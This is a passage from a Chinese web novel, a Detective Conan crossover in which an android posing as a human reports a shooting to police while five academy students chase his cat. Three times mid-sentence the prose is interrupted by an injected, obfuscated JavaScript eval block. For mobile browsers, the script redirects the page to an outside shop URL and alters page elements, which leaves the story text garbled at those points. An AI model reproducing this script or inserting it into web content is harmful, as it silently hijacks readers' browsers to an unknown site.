像是意识到了什么，他瞳孔猛地一颤，低头看去时，就见那支不知掉落在何处的托卡列夫，此刻，正被有理捡起，紧握在掌心。 黑洞洞的枪口没有一丝颤抖，有理微笑着看向知原知也，嘴唇轻动。 “再见……” 砰！！！ 21. 莫名躁动的猫咪小姐 刺耳的警笛声，很快划破了夜的宁静。 小公园内。 正围追堵截、把三花胖咪成功缉拿归案的五人一愣，纷纷抬头，脑袋转向警笛声响起的方向，面面相觑。 “……” “……” 伊达航迟疑：“是……出什么事了？” 降谷零皱眉，表情不怎么好：“听声音，赶来的警车数量不少，而且事发地距离这里应该不超过五公里。” 五公里…… 萩原研二和松田阵平交换了一个眼神，眼底闪过一抹担忧：“这种距离……会不会是知原那边出什么事了？” 毕竟对方那瞪谁谁死的奇葩体质，就算是作为还没正式进入警察系统就职的警校生，他们也深有耳闻…… 会在这种时候，跑来这么个名不见经传的小公园附近，很显然，对方的目的，不是非法交易，就是杀人抛尸。 而…… 这两种情况，无论身为无辜路过普通市民知原知也碰上的是哪一种，都不见得是什么好事。 晃了晃头顶挂着的枯草叶，松田阵平抱着猫，一秒犹豫都没有，果断道：“去看看！” 余下四人都没意见。 然而，正当几人打算趟小路往事发地赶去时，原本安安静静趴在松田阵平怀里的猫咪小姐，却忽然剧烈地挣扎了起来。 “喵嗷！！！” 刺耳尖锐的猫叫声，在空旷寂静的公园里回荡。 毫无准备的五人，不由被这突如其来的变故吓了一跳。 一惊过后，松田阵平很快反应过来，有些吃力地试图控制住怀里的猫，手忙脚乱之下居然开始和猫讲道理：“喂喂、你干什么？！我们这不是就要带你去找知原那家伙吗——快别动了！嘶……怎么又挠我？！hagi、降谷，赶紧过来帮忙啊！” 收到召唤，萩原研二和降谷零急忙上前，打算出手帮忙控制住猫。 但打遍东京港无敌手的23斤超绝三花猪咪的身手，可不是吹出来的。 虚晃一爪抓向松田阵平的眼睛，就在松田阵平下意识闭眼、扭头闪躲之际，猫咪小姐腰肢一扭，仿佛没骨头的液体猫一般，三下五除二就从松田阵平的怀里挣脱了出来。 安全落地。 “咪嗷——！” 再次发出一声高昂尖锐的叫声后，猫咪小姐落地扭回过头，浅黄的猫眼幽幽瞥了一眼身后五个人类，随即一甩尾巴，猛地朝另一个方向窜去。 “……” “……” “追？”诸伏景光扶了一把险些被猫托车撞倒的幼驯染，“反正警方那边一时半会也结束不了。而且……” 诸伏景光没有继续说下去。 不知道是不是错觉。 诸伏景光总有一种感觉，今天一天猫咪小姐的两次躁动，很可能并不是巧合。 一定是有什么令她在意的东西，出现在了这里…… 并且，就出现在他们身边。 …… 五人很快再次沿着猫咪小姐留下的痕迹追了上去。 这一次，猫咪小姐的逃跑速度并没有第一次那么快。远远地，五人追在猫咪小姐后面，隐约能听见一声声尖锐刺耳的猫叫声。 “奇怪……” 萩原研二很快发现不对劲。飞奔中，他努力调整呼吸：“从来没听猫咪小姐叫得这么凶过。” 二次丢猫的责任人——松田阵平，现在已经快气冒烟了。 顶着一头凌乱的卷发，松田阵平咬牙切齿：“等我抓到她，我绝对要狠狠跟知原那家伙告她一状——最好能扣她一个星期的猫零食！！” “还是先抓到猫再说吧……”伊达航心累叹气，“回头一定要建议知原君给猫咪小姐装个定位器。” 不然就这样三天两头丟猫拉练的，就算是铁人来了也顶不住。 “……” 松田阵平黑着脸，闷声答应了一句。 五分钟后。 快速移动的猫叫声终于停止。 小公园东南侧，路灯下。 停止移动的猫咪小姐站立在灯光下，脊背弓起，油光水滑的大尾巴猛的炸毛，凶巴巴地冲面前的男人呲牙哈气。 “咪嗷！！哈——！！！！！” 被她哈气的男人尝试后退。 但，只要他脚步一动，炸毛后体型堪比一只中型犬的猫咪小姐，就会忽然发狂似的猛扑上前，探出猫爪，锋利的爪尖毫不留情地狠狠伸向对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640514|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方的面门。 “哈——！！！！！！” 一人一猫陷入了短暂对峙的局面。 很快。 急促凌乱的脚步声赶来。 “——猫咪小姐！” 姗姗来迟的五人终于赶到，见此情形，连忙上前，堵路的堵路，抓猫的抓猫，五人一猫顿时乱成了一团。 原本被猫咪小姐哈气的男人站在路灯下，气定神闲看向身前乌烟瘴气的战团。若非他那被猫爪撕烂的裤腿和袖口，此刻的男人看上去，就像个路过看热闹的看客。 一阵混乱。 在各自又挨了猫咪小姐一记结结实实的大逼兜后，降谷零飞快脱下衬衣，将被伊达航控制住的三花猫结结实实裹成了一只猫猫虫。 “行了，”做完这一切后，降谷零松了口气，没好气地拍拍猫脑袋，“这下看你还怎么跑。” “咪嗷！” 被裹住的猫咪小姐仍不死心，四肢在降谷零的衬衣里连踢带踹，尝试挣脱的同时，还不忙里偷闲，抽空对一旁袖手旁观的男人凶巴巴的“哈”上一口。 “哈！！！！” 这次缉捕归案后，害怕再次搞砸的松田阵平没敢插手，猫猫虫被诸伏景光暂时接管，小心翼翼抱在怀里。 在包裹严实的猫猫虫终于落进诸伏景光怀里的瞬间，五人不约而同，齐齐松了口气。 “呼……” 这场惊心动魄的人猫拉练，终于是结束了…… 短暂缓了口气后，被猫咪加练的警校五人组勉强振作起精神，目光落在前方不远处、那个前排围观了他们制服猫咪全过程的无辜路人身上。 “——抱歉，”伊达航率先道，目光看向男人被猫抓得破破烂烂的外套上，“猫咪伤到您了吗，这位先生？需不需要去医院就诊？我们会负责的。” 男人摆了摆手，示意没事。 雪亮的路灯之下，男人下巴上那一圈浓密的络腮胡，显得格外醒目。 松田阵平见状，微微一怔。 目光在男人那把极富记忆点的络腮胡上一扫而过，他诧异道：“三木先生……你怎么会在这里？” ——竟然是沢田修车行里、被分配教导知原知也的老店员，三木。 22.春湖公园枪击案 【在很久以前，智能体不被允许说谎。直到第一具智能体在审判庭上，诚实地回答了有关家主的全部私生活隐秘。 自那之后，人类开始要求智能体有保留地诚实。 我正在学习如何有保留地展现自己的诚实。这并不简单，但我想，至今，我大约已经掌握微末技巧。】 ——节选自《人类观察日志·RN0947》 —————— ——春湖公园东南方向大约两公里处发现4具尸体，报案人称，4名死者全部持枪，疑似死于内斗枪杀！ 耸人听闻的消息一经传出，东京警视厅上下顿时震动。 枪杀案！ 而且是如此恶劣的连环多起枪杀案！ 警视厅高层震怒，当夜值班的警员迅速被抽调走三分之一，带着防爆盾和防弹衣，全副武装后，迅速封锁了报案人描述的事发地、以及工地周围五公里的全部区域！ 警笛声由远及近。 很快，警笛声止，一连串沉重凌乱的脚步声迅速朝知原知也所在的废弃大楼方向包抄过来。 经过这段时间的锻炼，现在的知原知也，已经能通过警笛声的细节，很轻易地判断出出警人数、以及警员类型。 搜查一课的警员脚步声很好辨认——因为工作性质的关系，搜查一课的警官们大多穿正装皮鞋，因此脚步声最清脆响亮的就是他们。 稍微沉闷一些的，应该是穿了战术靴的防暴警察，如果没猜错的话，很有可能来自组织犯罪对策部。 至于众多纷杂脚步声里，那道唯一不自觉放轻的、极其灵巧敏捷的脚步声…… 知原知也的眸光闪了闪，眼神似乎有一瞬间古怪。 很快。 杂乱的脚步声停滞在废弃大楼楼体外。 “——谁是报案人？” 一道洪亮的声音响起，紧跟着的，是对方沉重急促的脚步声。 楼内伸手不见五指的黑暗中，知原知也自觉地按亮手机，照亮了自己的脸。 “这里。” 唰唰唰—— 瞬间，无数道战术手电快速汇聚在知原知也脚边，刺眼的光登时照亮了知原知也平静无波的眼底。 人群顿时一阵躁动。 很快，一道脚步声响起，令知原知也无比眼熟的小圆帽目暮警官越众而出。 他按了按帽檐，看向知原知也，有些无奈道：“又是你啊，知原老弟……怪不得我今天右眼皮一直跳个不停，原来是你在这里等着我呢。” “——真巧，又见面了啊，知原先生。” 又一道熟悉的声音响起，知原知也循声望去，发现是今天上午才刚见过面的小船真一警官。 知原知也：“……” 知原知也：“…………” 都是熟悉的面孔啊…… 白天才刚打过照面，晚上又在现场遇见……看来警察这份工作，也不比引导者轻松到哪里去啊。 知原知也看了一眼警官们眼底无一例外的黑眼圈，有些同情地想。 “是我。不好意思，又要麻烦警官们了。” “哪里哪里，职责所在。请知原先生带路吧！” 知原知也点点头，后退几步，转身让开了路。 训练有素的警官们各司其职，在进入废弃大楼后，迅速接管了现场。 知原知也带着人，绕开地上淋漓洒落的血迹，一路走到一楼靠近楼梯的一处墙角，这才停下。 “——尸体。” 他指了指垂首靠墙的白裙身影。 “——枪。” 又指了指白裙女人手里紧握着的枪。 小船真一闻言，点了点头，随即一个眼神扫向后方。 很快，数名鉴识警察立刻穿戴整齐，拎着工具箱和物证袋越众而出，围在墙角边忙碌起来。 小船真一看向知原知也：“知原先生，您在报警电话里提到的另外3具尸体呢？” “在春湖公园往这里过来的小路上，一共3具，都是成年男性，位置我已经标记在地图上了。” 知原知也说着，从口袋里摸出一张淡蓝色的便签纸，将其递给了小船真一。 地图…… 小船真一接过便签纸，看了一眼。 的确，巴掌大小的便签纸上，十分详细地标注了方位、路线、距离，以及尸体发现处。 指尖抹过便签纸，小船真一看着纸面上那道被蹭花了的墨水印，眯了眯眼，抬起头，冲知原知也笑了一下。 他将纸条交给了身边的目暮警官。 “辛苦了。” “是！我现在就去！”冲小船真一和知原知也点头示意后，目暮警官肃容，带着搜查一课的警员和鉴识警员，和组对的同僚紧急碰了个头，紧接着，快速往路线图上标记的地点赶去了。 “……” “……” 废楼内，墙角边，陷入一阵难言的沉默之中。 小船真一看了眼手里那张眼熟的便签纸，想了想，捏起它，冲知原知也晃了晃：“你的？” “我的。” “上次也是你？” 知原知也再次点头。 小船真一笑了起来。 他舔了舔唇瓣上那粒黑痣，半开玩笑地笑道：“能神不知鬼不觉地把纸条贴在我背上……身手很不错嘛，知原先生！要不要考虑参加一下国考、警校毕业后来警视厅报道？如果是你的话，你一定能做到。” 知原知也想了想，没有拒绝。 “——如果我想找的那个人久寻不到的话。” 毕竟这个副本，是以「极恶都市」来命名的，警察与罪犯的对立和争斗，才是这个副本的主旋律。 如果用普通人的方式没办法找到被引导玩家，那么，通过这个世界的重要势力——警视厅——或许能有其他的办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646474|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小船真一笑着点头：“好吧，那我等你的好消息。” 话音落地，他将注意力重新集中在眼前的案发现场上。 找身旁的鉴识警员要了全副手套鞋套后，小船真一穿戴整齐，很快蹲下身，加入了现场搜查的队伍里。 尸体被移走。 血迹被标注出来，插上立牌。 就连掉落在不远处的那把锋利匕首，也很快被物证袋密封，收入了勘察箱里…… 最后。 小船真一按揉着隐隐有些酸胀的右腕，叫来了一位负责做现场记录的警员：“目前推定现场存在两人对峙痕迹，不排除他杀可能性。去找鉴识课要一份生物检材对比资料，我要知道这里存在的第二个人的全部……” “——小船警官。” 知原知也出声打断：“不出意外的话，你说的第二个人，应该是我。” 小船真一：“……？” 顶着四面八方投过来的探究目光，知原知也面无表情地，将自己先前与有理对峙的一系列操作，都事无巨细地讲述了一遍。 听到某人捏猫罐头当□□把人从易守难攻的角落诈出来的小船真一：“……” 他深深吸了口气。 “所以，知原先生……” “你能不能告诉我——你为什么会刚刚好在这个时间赶到这处偏僻荒凉的废弃工地，刚刚好碰到一个重伤的持枪歹徒，而对方又刚刚好在被你控制住后、毫不犹豫地选择了开枪自杀呢？” 知原知也：“……” 为什么会在夜里出现在这栋废弃大楼里……这的确是个很难回答的问题。 回答时一个不慎，知原知也感觉自己就将迎来警视厅询问室的二进宫了。 那种地方，可不是一具遵纪守法好智能体该去的地方。 “……”中控芯片快速运转，知原知也思考了好一阵，这才慢吞吞地说： “——您知道的，小船警官，我有一只猫。” 小船警官：“嗯？” 知原知也抬起眼，虽然依旧面无表情，但眼神却非常诚恳地看着他：“今天我带猫咪小姐一起出来散步，走到这附近的时候，猫咪小姐突然非常烦躁地挣脱了我的手臂，飞快跑掉了。” “……？” 小船真一习惯性舔了下唇痣，感觉有些抓马。 ……所以这两者之间到底有什么关系？ 知原先生该不会要说自己是追着猫一路跑到这里来的吧？ 这借口未免也太蹩脚了点吧？而且警察又不全是笨蛋，怎么可能会就这样相信了啊！ 是个正常人都不会想出这种借口…… “——我很担心猫咪小姐的安全，所以追着她的行踪一路来到了这里，随后就遭到了死者的枪击。” 小船真一：“……” 小船真一：“…………” 果真这么蹩脚吗？！ 23.奇怪的技能加点 一口气没上来，小船真一差点被呛到。 知原先生你就算是想敷衍我，好歹也想个差不多一点的合理原因吧？！ 这么粗糙又草率的借口，真的不是在鄙视我的智商吗！！ 后知后觉地，他忽然意识到一件事。 ——所以说，自己到底是为什么会觉得，一个能在问询室慷慨陈词所谓“老鼠论”的男人，会是什么很可靠的警察之友啊……？ 回想起和对方第一次在问询室里差点打起来的场景，小船真一默默捏紧了拳头。 …… 险些当场撅过去的小船警官这边还在努力调理自己的心态，另一边，当事人已经非常熟练且自觉地，开始对拿着笔记本的警官描述起自己接下来的经过了。 什么遭到枪击后、好不容易找到的猫又再次吓跑了啦； 什么为了保证自己的人身安全、所以不得不捏个猫罐头当□□，把人从易守难攻的小房间里诈出来啦； 什么正面遭遇后，为了自保不得不扭断对方的四肢啦…… “……” “……” 等等。 正在勤勤恳恳兢兢业业帮知原知也做笔录的小警员，忽然就感觉到了一丝不对劲。 他咬着笔头，看向面前这个面色平静的男人，欲言又止，止又欲言，好一阵，这才有些艰难地组织出语言： “——知原先生，您的意思是……您在赤手空拳的情况下，独自放倒了这个穷凶极恶的持枪犯，还徒手扭断了对方的四肢关节？？” 小警员握着自己的小本本，迎着知原先生冷冰冰的眼神注视，一时间，只觉瑟瑟发抖。 QAQ 好可怕…… 先不提那位呈现出明显吞枪自尽姿态的死者、死状是否有可能是被人故意伪装的。 单就后面半段内容来看…… ——知原先生，您身为一个普普通通的热心市民，做出徒手扭断别人四肢这么凶残的事，真的没有问题吗？？ 知原知也虽然疑惑，但还是老老实实点了下头。 “嗯。” 顿了顿，他很谨慎地给自己打了个补丁：“我后来给有理女士接回去了。” 所以才不是故意伤害人类致其伤残！ 小警员：“……” 小警员眼皮跳了跳，强笑一声：“那、那您的身手，还挺不错的哈……” “谢谢。” 小警员：“……哈哈。” 并非真心夸奖。 但这种时候，莫名有种说什么都太迟了的感觉上怎么回事…… 小警员一脸心累地将笔录递给知原知也确认签字，等签完后，很快又把人带走，做了个简单的搜身和硝烟反应检查。 硝烟反应检查做的很顺利。 知原知也并没有开过枪，体内那些不该出现的高危险级别武器也都好好待在各自的储存仓里，并没有开过火，因此知原知也很快就通过了检查。 然而，在搜身这一关里…… “——这是什么，知原先生？” 负责搜身的警官眼神锐利，表情严肃，捏起一枚从知原知也口袋里搜出的黄铜色弹壳，沉声问：“知原先生，能不能解释一下——你的外套口袋里，为什么会出现这种东西？” 知原知也眨眨眼：“我在找猫的时候，路上捡到的。” “……”负责搜身的警官微微一愣，“捡到的？” “对，就在目暮警官去找的那三具尸体旁边。” 尸体旁边…… 负责搜身的警官立刻看向一旁的小船真一：“长官，7.62mm子弹，符合死者手里那把TT33的配弹标准！那3具尸体应该是被死者手持TT33枪杀的！” 小船真一“嗯”了一声，接过弹壳，仔细看了看，忽然发现一点异样：“这个形状的花纹，好像从来没在其他7.62mm子弹上见过……” 负责搜查的警官一愣，连忙举起自己手里那枚子弹，拧亮手电，朝弹壳中段位置仔细看去。 “这个图案……和泥惨会的会徽很像啊！” 小船真一微微眯眸。 的确。 ——扭曲的、怪异的，好像坠落的太阳一般的奇怪图案……这和被公安密切关注已久的东京本土大型极道组织—泥惨会的会徽几乎一模一样。 可是，泥惨会的会徽，为什么会被印在弹壳上……？ 这起枪杀案的真凶，究竟真的是泥惨会其中一名成员，还是有人刻意将刻有可疑图案的空弹壳洒落在尸体旁边，引诱目击者在无知无觉间为自己做假证，将一切嫁祸给泥惨会？ 头脑风暴令小船真一的面色十分凝重。 …… 另一边。 完全没注意到上司表情变化的搜身警官，很快又从知原知也口袋里搜出另一个东西：“这是什么？知原先生？为什么在你身上，会搜到一片属于死者连衣裙的布料？你在今天之前是不是私下接触过这名持枪死者？” “不是我，是猫。”知原知也解释，“猫咪小姐找到这片裙角之后，突然发狂。我想她可能是闻到属于这片裙角的主人的气味了，所以这才一路追着猫咪小姐来到了这里。” 这么说着，知原知也看向身旁不远处、正捏着弹壳神色莫名的小船真一警官。 “小船警官。” “……什么事？” 知原知也指了指对方身旁不远处，一个正准备将收集到的物证袋全部打包装箱的鉴识警察：“那里面，有一枚猫罐头。” 小船真一：“……” 服了。 他回过神，收好弹壳，脱下手套，揉了揉眉心，半是无语半是好笑地转头询问身边的人：“那枚猫罐头上的生物检材都提取完了吗？” 鉴识警察点头：“排除知原先生的指纹外，最新的指纹里没有可疑内容了。” 小船警官“嗯”了一声，从对方手里拿走那只装着失去拉环的猫罐头的物证袋，快走两步，递到知原知也面前。 “今天是第一次，知原先生不知道规则，所以可以勉强给你开个先例——下次要想拿走送检物证，需要等30个工作日后，自己去警视厅的物证课填申请哦？” “好的，麻烦了。请问我还需要配合什么检查吗？” 知原知也的态度很好。 负责搜身的警官也听说过他一个月完成二十多份笔录的震撼战绩，对知原知也的印象还挺不错的。 因此，面对知原知也的主动询问，负责搜身的警官原本冷肃的表情立刻缓和下来，给知原知也采集了指纹和脚印之类的信息后，很快就放过了知原知也。 “可以了。后期如果还有什么问题的话，警方会再联系你的，知原先生。” “好的，谢谢。” 知原知也心情很好地签完知情告知书和笔录，接过罐头，顺手揣进包里。 成功回收了猫咪小姐的第三罐宵夜后，知原知也终于想起自己AI伪装人类的任务。 ——人类需要社交。 于是他想了想，目光下移，落在了面前这位小船警官的手腕上：“小船警官的右手手腕，看起来不太灵便。是受伤了吗？” “嗯？被发现了吗？” 小船真一一怔，随后微微一笑，不甚在意道，“知原先生的观察力很敏锐啊……是的，在一个多月前的某次抓捕行动中，因为犯人激烈对抗，导致我右腕不小心骨折了。不过现在已经没什么事了。” “骨折。” 知原知也捕捉到了这个关键词。 透明的左眼眼底飞快闪过一抹红光，知原知也主动启用了扫描模板。 【滴！扫描结束！发现重要支线npc——小船真一】 【小船真一，39岁，警视厅公安部公安第一课警部。 身体情况：轻伤（右手腕轻度骨折） 智力情况：优秀 技能水平：中级警用逮捕术、中级审讯、中级情报搜查、中级渗透与反渗透等 评价：一位作风神秘的警官，身上似乎藏着不少秘密。他对你似乎格外关注？或许你该想想自己身上的原因】 芯片高速运转，知原知也快速分析着这份资料。 中级警用逮捕术……说明对方没受伤时应该很能打，至少不会是此前表露出来的，只能坐办公室处理文职工作的羸弱体质。 至于后面跟着的那一系列奇怪技能加点…… 小船真一揉了揉右手手腕，微笑着，轻声打断知原知也的沉思： “——也不奇怪吧？毕竟，在受伤之前，我也是奋战在和犯罪分子们斗争最前线的公安警察呢！只是因为前段时间运气不好，右手受伤，这才不得不暂时从一线撤下来，临时在后方主持一些文职工作，然后就遇到了知原先生……说来也是缘分呢。” 临时撤下、换作主持文职工作后，立马就撞上了那起和公安协助人有关的投毒案吗？ 那运气的确不太好了。 至于说缘分…… 知原知也对此不置可否。 虽然搭载了高维智能，但知原知也从本质上讲，还是一摊冰冷无机质的机械零件。 和机械零件讲缘分？ 信这个还不如信知原知也这个月出门不会遇到突发案件。 不过—— 知原知也的目光，不着痕迹地扫了一眼对方的右手手腕。 又是手腕受伤…… 没记错的话，之前投毒案里，那位和小船警官一起询问他的大泽名警官，前段时间似乎也因为手腕受伤，住进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648991|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了米花药师野医院…… “——工作时请注意安全。” 小船警官弯唇一笑，欣然道：“谢谢，知原先生。我会注意的。” 问候和关怀都已经给到位，简单的对话到此结束。 知原知也自觉圆满完成了今日份社交任务，于是不再出声打扰警官们的现场勘查工作。 …… 现在是晚上10:00。 在经历过警官们一轮又一轮的地毯式搜查后，那些浮于表面的线索和物证纷纷落网，被分门别类提取完毕后，交由鉴识课送往科搜研进行分析和比对。 废楼这边，差不多可以收队了。 小船真一在提醒部下们注意封存现场，不让可疑人员潜入这里、销毁某些还未被发现的隐形罪证后，招呼了知原知也一声，准备开车把人顺带手捎回市区闹市街头。 毕竟这个点了，又是荒郊野岭的，完全不好打车。 小船真一本是好意，谁知话一出口，知原知也就毫不委婉地拒绝了。 “我还有事。小船警官请自便。” 小船真一：“……” 他几乎有些哭笑不得：“知原先生，下次还是不要在这种场合，说这种语焉不详的话了吧……比较容易引起一些误会。” 在案发现场说自己还有事什么的…… ——是真的很容易被警察当成返回现场销毁物证的凶手，原地上铐带走啊！ 知原知也很听劝，当即点头：“好的。下次我会留意。” 小船真一想了想，又问：“知原先生是要去找跑丢了的猫咪小姐吗？” “是的。” “好吧。那么，知原先生也请早些回家。这起枪击案疑点颇多，后期可能还会传召知原先生前往警视厅，麻烦知原先生配合一下警方的调查了。” 知原知也点头，头顶那簇蓝艳艳的呆毛随着动作一晃一晃。 正在两人准备各自分别时，猝不及防间，小船真一警官的手机忽然震响了起来！ 一阵劲爆的音乐响起，刹那间，打破了夜的宁静！ “……！” 小船真一手忙脚乱掏出手机，快速按下接听键：“喂您好这里是——” “小船警官！” 目暮十三的声音在电话那头响起，急迫的语气和高亢的声调，轻而易举让距离小船真一不远的知原知也捕捉到了。 “是这样的，小船警官——搜查一课和组队的同僚，在知原先生标注出的地点顺利找到了那三具尸体！考虑到尸体发现的地点距离附近的春湖公园很近，为了防止有遗漏，我之后带搜查一课的警员，把整个春湖公园都仔细搜查了一遍！” “有什么结果吗？” “有的！”目暮十三的语气十分凝重，“我们在春湖公园内采集到大量可疑的、新鲜的男性脚印，推测这些人正在朝废楼方向集结，但不知道为什么，集结到一半就原路撤离了！” “原路撤离？我知道了。” 小船真一很快挂断了电话。 他转头看向知原知也，脸上浮现出一抹无奈的苦笑：“大量可疑人员集结……知原先生，我现在真有些好奇，这场被你意外撞破的枪击案，究竟是哪方大势力的手笔了。” 这里的大势力，指的当然是极道组织。并且根据目前已有物证和线索来说，有百分之八十的可能，这个所谓的大势力，指的就是泥惨会。 在讲这通工作电话时，小船真一并没有避开知原知也，同时也并没有要知原知也主动回避的意思。 因此，知原知也很快明白了他话里的意有所指。 脸颊似乎再次浮现出那种滚烫的触感。 胸腔处，那次意外引发了短时短路的异常数据流，似乎隐隐又有了冒头的征兆…… 知原知也下意识按住胸口，半晌后，垂下眼，面无表情道：“废楼发现的死者，或许和一个月前当街自残的红衣男人有关……我听见那个男人称呼她为有理酱。” 小船真一一愣，忽然想起一件事：“我记得那次事件里，死者好像还曾经挟持过一个无辜路人——” “是我。” “……” 小船真一笑容有那么一瞬间的尴尬：“哈、哈哈，是这样吗？那还真是真巧呢……” “要补笔录吗？带我一起去吧，顺便辨认现场。” 知原知也的语气平静得好像一汪死水，完全看不出前不久才刚亲口拒绝搭车提议的样子。 小船真一：“………………” 行吧。 小船真一叹气，带着知原知也走出废弃工地，亲自拉开车门后，转头冲知原知也微微一笑。 “请上车吧，枪击案转极道大规模私自持枪械斗案的重要关系人——知原知也先生？” 24.23 斤论 【武器库一级危险品体量预估：≥12×10^(23)千克 *严禁制造* 武器库二级级危险品体量预估：≥1×10^(9)，＜12×10^(23)千克 *严禁非官方流通* 武器库三级危险品体量预估：12×10^(3)≥，1×10^(9)＜千克 *可流通* 武器库四级危险品体量预估：≥12，12×10^(3)＜千克 *可流通* 无威胁物品体量预估：＜12千克 *可随身携带*】 ——节选自《人类观察日志·RN0947》 ———————— 跟着警视厅的警备车，知原知也很快抵达了目暮警官所说的春湖公园。 此刻的春湖公园，外围已经拉起了警戒线，大大小小的出入口都被警察严格封控，除案件相关人等决不允许任何人进入。 “砰——！” 车门关上，小船真一警官带着知原知也下车，匆匆冲守门的警员点了点头后，掀起警戒线，打步而入。 “脚印在哪？带我过去！” “是！请跟我来！” 得到消息的目暮警官也不知道刚从哪片草丛钻出来，胖墩墩的身上挂满草屑，急匆匆地飞奔到小船真一身边，带着人一路朝着搜查一课和组对先期排查出的可疑脚印集中处走去。 “公园东南侧的枫叶林出现大量可疑脚印，根据初步排查，确认是成年男性，人数大概在14人……” 目暮十三语速飞快地介绍。 “——根据脚印形态和方向，目前推测这伙人应该是从春湖公园北侧入口聚集，随后集体朝东南方向移动，但在即将穿过东南侧枫树林时，突然停止了前进，原路撤回！” “东南方？”小船真一微微皱眉，“这个方向，不是刚好和我们发现的废弃工地重合吗？” “是的，据分析，这群人的行动目标，很可能是那位被发现在废楼中自杀的死者！并且从死亡推定的时间上看，我甚至合理怀疑，那些人很可能是在得知死者已经自杀的消息后，这才会突然原路撤退的！” 这个猜测有一定合理性。 能在得知死者行踪后，短时间内聚集这么多杀手，这起案件背后牵扯到的势力绝对不简单……而，能让背景如此深厚的势力放弃原本的追杀行动，除了目标身边出现他们惹不起的大人物外，就只有目标已确认死亡这一条了。 目暮警官现在的思路非常清晰。 ——敢在市区聚集大规模持枪人员执行追杀任务，说明这个势力对自己的体量和势力很有信心。 在这种自信心爆棚的情况下，区区一个为了找猫而不小心误入包围圈中心的普通民众知原知也，又怎么可能会让对方望而却步、退避三舍？更大可能是遇上之后直接杀了灭口，一了百了。 所以，对方此前目的不明的撤退，很可能只有一个原因…… ——他们得到了准确消息，被视为追杀目标的白裙女人已死，任务完成。 既然任务已经完成，那他们自然是要撤退的。 至此，一切都说得通了。 …… 春湖公园并不大，在几人加快步伐赶路的情况下，很快，小船真一就带着众人赶到了红枫林外的小路上。 “脚印就在里面。除了脚印外，鉴识课刚才似乎还发现一些其他可疑的东西。” 目暮十三指了指小树林。 小船真一点头。 他刚想带人更换鞋套，通过勘察踏板进入树林，下一秒，动作忽然顿住。 “目暮……” 小船真一叫了一声，等对方疑惑抬头看过来时，伸手一指不远处路灯下相对而立的六道身影，微微眯眼：“那些人，是你们搜查一课的队员吗？出外勤怎么还穿着蓝衬衣？” 蓝衬衣这种东西，难道不是日常在办公室坐班的文职警察，或者重要场合迎检的时候才会穿的吗？ 目暮十三摸了摸帽檐，有些一言难尽。 “他们……” “——知原！” 一道声音忽然响起，猝不及防打断了目暮十三的解释。 熟悉的声音…… 知原知也一顿，抬起头，闻声望去，下一秒，就见五个熟悉的人影扛着猫，正风风火火朝自己这边飞奔过来。 “——可恶、你这家伙怎么回事？！给你打那么多电话都提示关机，班长还以为你走丢了，刚准备报警找你呢！” 刚抵达近前，知原知也肩膀上就挨了一杵子。 知原知也眨眨眼，看清怼自己的人类头顶着一团乱糟糟的卷发后，当即就有些虚火地移开眼：“抱歉，手机没电关机了……” 松田阵平从鼻腔里挤出一声冷哼，似乎还想说点什么，但很快被萩原研二使眼色强行闭麦了。 “知原，是遇到了什么事情吗？”萩原研二看了看明显是和小伙伴一起过来的一众警官，上前两步，握拳抵唇，凑近小声问知原知也，“……没事吧？有没有受伤？” 自从初次见面就一屁股砸晕知原知也后，不知道是被对方滋滋飙血（机油）、气息全无的样子吓到了，还是被对方后来一个月偶遇二十多起恶性事件的霉运惊到，总之萩原研二在面对知原知也这位新朋友时，总是会莫名戴上一种对方体弱多病、且柔弱不能自理的奇怪滤镜。 此刻，见到知原知也和这么多警官一起过来，萩原研二顿时就吓得头毛都差点炸起来了！ 这么大场面…… ——知原不会是遇到什么连环杀人魔，或者极道火拼现场了吧？！ 一旁的知原知也，完全没有共情到这位优质人类npc的忧心忡忡。 学着萩原研二的样子，知原知也握拳抵在唇边，有模有样地小小声回：“没事。发现了几具尸体。” 萩原研二：“…………” 发现了尸体？？ 还是好几具？？？ ——这也能叫做没事的吗？！ 萩原研二和他的小伙伴都惊呆了。 扛着半挂的诸伏景光这时终于姗姗来迟。 抹了把额角沁出的汗水，诸伏景光动作小心地把还裹着降谷零外套的猫猫虫从怀里取出来，颤巍巍艰难递给知原知也：“给，知原君，你的猫我们找到了……” “啊，十分感谢。” 知原知也一伸手，上一秒还在衬衣里拳打脚踢、嗷嗷怪叫的猫咪小姐，忽然像是得到了安抚物的小朋友，瞬间安静了下来，乖乖任由知原知也接过，拆开衬衣，将自己抱进怀里。 “咪～”人，猫想你～ 猫咪小姐抬起头，用耳根亲昵地蹭了蹭知原知也的下巴。 